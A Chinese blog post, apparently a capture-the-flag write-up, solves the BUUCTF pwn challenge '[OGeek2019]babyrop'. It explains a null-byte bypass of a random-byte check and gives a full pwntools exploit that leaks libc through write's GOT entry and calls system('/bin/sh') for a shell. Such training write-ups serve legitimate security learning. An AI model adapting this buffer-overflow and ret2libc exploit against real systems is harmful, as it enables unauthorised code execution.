美文网首页
buuctf pwn part2

buuctf pwn part2

作者: 好大一只免孑 | 来源:发表于2019-12-19 13:12 被阅读0次

[OGeek2019]babyrop

保护

PIE都没开,看下程序逻辑


程序逻辑 程序逻辑
先是一个open(/dev/urandom)
查了一下,/dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。也就是说,程序首先生成一个随机数,然后会把用户的输入和这个数进行一个比较,这里最开始一直不知道怎么才能绕过这个比较,然后搜了一下,很简单的一个处理方式,直接\x00,这样读进去的东西长度相当于空,比较的长度就是0,那么这个判断就会永远为真。

然后在第二个程序中,这里会再次让输入一串东西(含七个元素的数组),程序会处理这个buf,最后返回的值实际就是输入的东西覆盖的地方的值(可以用ida看到返回的值和buf起始位置的相对位置)

程序逻辑

然后这个值会在这个程序里起作用,就能得到很大的写入空间,然后后面正常地覆盖地址往后写rop就可以了。

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
sh=process("./pwn")
sh=remote('node3.buuoj.cn',29973)
libc=ELF("./libc-2.23.so")
# libc=ELF("/lib32/libc.so.6")
elf=ELF("./pwn")

libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_binsh=next(libc.search('/bin/sh'))

write_ply=elf.plt['write']
write_got=elf.got['write']
main_add=0x08048825

pop1_ret=0x080488fb
pop3_ret=0x080488f9


payload = "\x00"+"\xff"*7
sh.sendline(payload)
sh.recvuntil("Correct\n")


p2='A'*(0xE7)+'AAAA'+p32(write_ply)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
sh.sendline(p2)

write_real_add=u32(sh.recv()[0:4])
libcbase=write_real_add-libc_write
system_real_add=libc_system+libcbase
binsh_real_add=libc_binsh +libcbase




p3='a'*0xe7+'bbbb'+p32(system_real_add)+'bbbb'+p32(binsh_real_add)

payload = "\x00"+"\xff"*7
sh.sendline(payload)
sh.recvuntil("Correct\n")
sh.sendline(p3)

sh.interactive()

话说看见程序中有puts能用但是不知道为啥用puts会出问题
emmmmmmmmmmmmm之后再试试

相关文章

  • buuctf pwn part2

    [OGeek2019]babyrop PIE都没开,看下程序逻辑 然后在第二个程序中,这里会再次让输入一串东西(含...

  • pwn----BUUCTF

    NO.00 pwn1_sctf_2016_sovle exp NO.01 warmup_csaw_2016_sov...

  • BUUCTF PWN WriteUp

    test_your_nc rip gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取...

  • 【pwn学习】buuctf pwn题目(一)

    test_you_nc 进去看main里面就是sh 所以nc就好 rip checksec一下发现是64位 看一下...

  • 【pwn学习】buuctf pwn题目(二)

    下班了继续做 level0 先checksec一下 很简单的道理就是vulner函数里面存在漏洞call到call...

  • buuctf pwn part1

    时隔已久的学习 ciscn_2019_n_1 格式化字符串漏洞 gets是漏洞点,可以利用v1去覆盖v2的值然后获...

  • BUUCTF-PWN-1~4

    test_your_nc 签到题,直接运行获得shell rip gets溢出点,程序是64位的,计算偏移量是23...

  • BUUCTF - [第五空间2019 决赛]PWN5

    地址: https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • MCTF pwn

    pwn2 from pwn import * #p=process("./pwn2") p=remote("120...

网友评论

      本文标题:buuctf pwn part2

      本文链接:https://www.haomeiwen.com/subject/cffpnctx.html